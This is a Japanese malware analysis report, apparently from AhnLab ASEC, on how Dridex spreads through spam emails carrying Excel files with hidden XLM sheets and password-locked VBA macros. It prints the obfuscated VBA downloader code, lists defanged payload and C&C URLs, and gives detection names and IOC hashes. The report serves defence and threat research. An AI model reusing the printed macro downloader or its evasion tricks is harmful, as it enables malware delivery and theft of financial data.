Dridex(または Cridex、Bugat)は金融情報を流出させる代表的なマルウェアである。サイバー犯罪組織によって、グローバルに大々的に拡散しており、主にスパムメールに含まれる Microsoft Office Word や Excel ドキュメントファイルのマクロを利用している。Dridex マルウェアの最も大きな特徴はダウンローダー、ローダー、ボットネットなどの機能に合わせてファイルをモジュール化して動作する点である。Dridex マルウェアを利用して DoppelPaymer や BitPaymerのようなランサムウェアが拡散された履歴も確認されている。また、コードや拡散方式を分析すると、Dridex マルウェアを製作および拡散している攻撃グループと、ランサムウェアを拡散している攻撃グループは、多くの部分が重なっているという状況も確認された。[1][2][3]
AhnLab ASEC 分析チームはスパムメールと Microsoft Office Excel ドキュメントファイルでどのように Dridex マルウェアがダウンロードされるのかを分析した。攻撃者はアンチウイルス製品で検出されないように、俊敏に変種に対応しており、様々な自動検知回避方法を利用していた。
スパムメール
収集された電子メールは英語で作成されており、海外の受信者を対象にしているものと見られる。件名と内容は 「Freight Statement Of Outstanding As Of 03_29_2021」、「Ocean Freight overdue invoice Of 03_29_2021」などであり、日本語に翻訳すると「明細書」、「見積書」、「送り状」、「滞納案内書」などである。韓国国内で拡散しているスパムメールの件名と類似している。メールには Excel ファイルが添付されている。

Excel ファイル


Excel ドキュメント内には不鮮明な画像が挿入されており、ユーザーのクリックを誘導している。挿入された画像は VBA マクロコードと繋がっており、クリックするとマクロコード関数「VIEW_DOCUMENT」が実行される。自動的に実行される Auto_Open などのマクロではなく、特定の領域でのクリック行為がなければマクロコードが実行されないため、自動分析サンドボックスでは正常に実行するのが難しい。
また Excel ドキュメントには非表示シートが存在している。2枚の非表示シートは XLM マクロシートである。攻撃者は VBA と XLM マクロコードを2つとも利用していた。VBA コードで XLM マクロコードを参照して動作する方式である。これは VBA コードや XLM マクロシートコードのみを見て機能を把握させにくくし、特定の領域のコードをベースにした検出を困難にさせている。

攻撃者は VBA Project にパスワードをかけ、 VBA コードの確認を不可能にしていた。oletools のようなツールを利用すれば、 VBA コードを抽出することは可能だが、以下のような難読化されているコードのみを見て、その機能を把握することは困難である。攻撃者は Evilclippy などの VBA Project Locker を利用した可能性が高い。
#If VBA7 And Win64 Then
Private Declare PtrSafe Function line_shipping Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As LongPtr, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As LongPtr, _
ByVal lpfnCB As LongPtr _
) As Long
#Else
Private Declare Function line_shipping Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long _
) As Long
#End If
Function re_re_order()
n = Cells(2, 1): nn = Sheets(2).Cells(2, 1)
For u = 1 To Len(n)
de = de & Chr(Asc(Mid(n, u, 1)) + Mid(nn, u, 1))
Next
re_re_order = de
End Function
Function next_shipment(cc As Variant) As Variant
next_shipment = Split(cc, "" & "--")
End Function
Function merridians_us()
merridians_us = "T1:T3"
End Function
Sub VIEW_DOCUMENT()
Sheets(1).Cells(3, 1).Name = "Line" & "_and"
doc_an = Split(re_re_order, "HH" & "HH")
P_prints = next_shipment(doc_an(1))
For oo = 0 To UBound(P_prints) - LBound(P_prints) + 1
On Error Resume Next
op_price (P_prints(oo))
Run ("Line" & "_and")
If oo = 12 Then last_cargo = insure_d:
If oo = 14 Then
rest_bags = insure_d
line_shipping 0, sgs_assure(for_clients_d(Split(doc_an(0), "D" & ","))), last_cargo & "\" & rest_bags, 0, 0
End If
Next
End Sub
Function op_price(jj As String)
Sheets(vbNull).Cells(3, 1).value = "=" & jj
End Function
Function for_clients_d(Mk As Variant) As String
Randomize: tg = xlArrangeStyleTiled
f = UBound(Mk) + tg
for_clients_d = Mk(Int((f) * Rnd))
End Function
Function insure_d()
insure_d = Sheets(vbNull).Cells(2, 20)
End Function
Public Function sgs_assure(fg As String)
sgs_assure = "ht" & "t" & "p" & "s://" & fg
End Function


VBA マクロコードをデバッグしてみると、 XLM マクロシートのセルを参照してデータとして利用していることがわかる。データは Excel ドキュメントファイルの最終機能である外部 URL に接続するためのコード生成プロセスに利用されていた。全部で57個の URL が生成され、このプロセスでも何度も難読化解除のプロセスが必要である。以下は Excel ファイルが接続する URL のリストである。(アクセスおよびダウンロード禁止)
URL リスト生成後、ランダムなアドレスに接続し、ダウンロードを試みる。一部のアドレスがブロックされても、接続可能なアドレスがいくつかあるため、攻撃成功率を高めることができる。ダウンロードしたファイルは DLL 実行ファイル(Portable Executable)であるが、.dll ファイルの拡張子を使用せず、.rar, .tar, .zip などの圧縮ファイルの拡張子を利用していた。これもまた、実行ファイルをダウンロードするという不審な行為をブロックされないためのものであるとみられる。ダウンロードしたファイルは固定的な DLL ファイル名で保存される。この DLL ファイルは Dridex ローダーマルウェアである。
hxxps://tencoconsulting.com/klcpk3.rar
hxxps://abad.tv/gmrgbkv.rar
hxxps://nedkellymyanmar.com/l76db8k.rar
hxxps://myloanexpert.in/exxuia66v.tar
hxxps://aps-scribe.com/ptdgv53.rar
hxxps://sivmedia.dk/z18n7do.rar
hxxps://14karatvisions.com/rh1trnt.rar
hxxps://plataformas.datasiswebcontable.com/ek2lqm2.zip
hxxps://reseller.itechbrasil.com/xwpr9m9.tar
hxxps://estudiodedanzaesperanzadelosreyes.com/pi4omy.rar
hxxps://sadmahfuneralservices.co.za/jke1xnf7b.rar
hxxps://engagedmarketingmedia.com/mt42qiyn.rar
hxxps://disinfection-cleaning.co.za/sc25xty.zip
hxxps://cacaoprojects.com/asse9e3x.rar
hxxps://blog.difusodesign.com/vzsfnw3rk.rar
hxxps://v2consultores.com/gaiqb3.zip
hxxps://sabihasart.com/ltxd9207y.zip
hxxps://cpanel.shivay.net/ak5kpl1.zip
hxxps://kaptaanchapal.com/hrloamk3.zip
hxxps://www.estatebroker.in/cc5qg9x.tar
hxxps://thediasporianexperience.com/vh3r0pn.tar
hxxps://bioskey.com/w9jii4e1h.rar
hxxps://mediawaysnews.com/idn75myb.rar
hxxps://community.reimclub.com/ezmumkw.rar
hxxps://nxtnet.ga/oszxyd.tar
hxxps://aps-sv.com/lse6o3.rar
hxxps://masterthedaybook.com/hp8v4p3.rar
hxxps://goldenasiacapital.com/pqyxgi.rar
hxxps://ist-security.com/nz3wx4.rar
hxxps://addictionmusic.in/lloaynxsp.tar
hxxps://hchfug.org/oikz5qpn.tar
hxxps://gifsnow.fun/jta343i.rar
hxxps://preescolarmamagansa.edu.mx/uo0j4ls.rar
hxxps://patriotsupremehemp.com/j1jgt4g.rar
hxxps://dev.tunepushr.com/s6c1tl.zip
hxxps://canadianwork.cc/ugeepbmvc.zip
hxxps://cuetzalanlaesencia.com/ehvmx3.tar
hxxps://kienology.com/cepzd8r.zip
hxxps://elbauldenora.com/yknyy9.tar
hxxps://sexologistpakistan.net/e2xlnbik.rar
hxxps://cardilicores.com/ak9zjb.zip
hxxps://www.bizztradingbot.nl/w1em533ne.tar
hxxps://connectcapital.com.br/sum9e8.zip
hxxps://www.pkbacademy.ro/hlinx9.tar
hxxps://movix.net.br/stwv7a9u.rar
hxxps://business2.softberg.ro/knyiq6pg.tar
hxxps://rajeshtailang.com/qksnefw1t.tar
hxxps://anadelgbt.org/n5gi2o1l9.tar
hxxps://www.neslininsayfasi.site/clbqztx8.tar
hxxps://erp.nanotechproautocare.com/umxzvfog.rar
hxxps://www.mitsuiaccounting.com/nsyii02fi.rar
hxxps://drpayalphysiotherapy.in/iuqc13o2.zip
hxxps://spiritualroot.org/yqcsymrnj.rar
hxxps://robthetoolman.com.au/tni7p1y.zip
hxxps://hospedagem.pro/nnkwzi2he.zip
hxxps://rajib.pw/twd3dkz41.tar
hxxps://citihits.lk/iccdupr.rar

ダウンロードに成功すると、上記のような難読化された CALL 関数を実行する。これは Regsvr32.exe プロセスを利用してダウンロードした Dridex DLL ファイルを実行するコマンドである。この過程まで実行したら Dridex マルウェアが Regsvr32.exe プロセスにロードされ、システムで動作するようになる。
Dridex DLL

Dridex DLL ファイルは非常に複雑なコード生成とアンパックプロセスを掛け合わせて動作する。メモリの割り当てと解除、コードインジェクション、実行権限の付与を繰り返してメモリに核心となるローダーファイルである PE を新たに構成する。核心となるローダーファイル自体のコードは大きく変わっていない。次の C&C サーバーに接続する機能が核である。この過程でシステム情報などのユーザー情報が送信される。
hxxs://210.65.244.176/
hxxps://37.34.58.210:6601/
hxxps://210.65.244.176/
Dridex マルウェアの拡散過程を、スパムメールから Dridex DLL ローダーまで見てきた。自動化されたサンドボックス環境では、スパムメールから DLL ファイルの実行までを連結して行うことが難しい。Excel ファイルと DLL ファイルは、アウトラインの変化が速いため、シグネチャで対応するのにも限界がある。AhnLab 製品では、スパムメールの拡散から Dridex DLL ファイルまでを次の通り検知している。
[ファイル診断]
Downloader/VBA.Generic
Downloader/MSExcel.Generic
Trojan/Win32.Dridex.R353686
Trojan/Win.Agent.C4398254
[行為診断]
Malware/MDP.Behavior.M3664
[IOC]
0801368e0e80ba88daad52d7e5977d22
3479d48fef3fa742d91e84705ff4f882
6bd0ae7a5d92e2d47c1cb6cbdc7d47c6
Categories:マルウェアの情報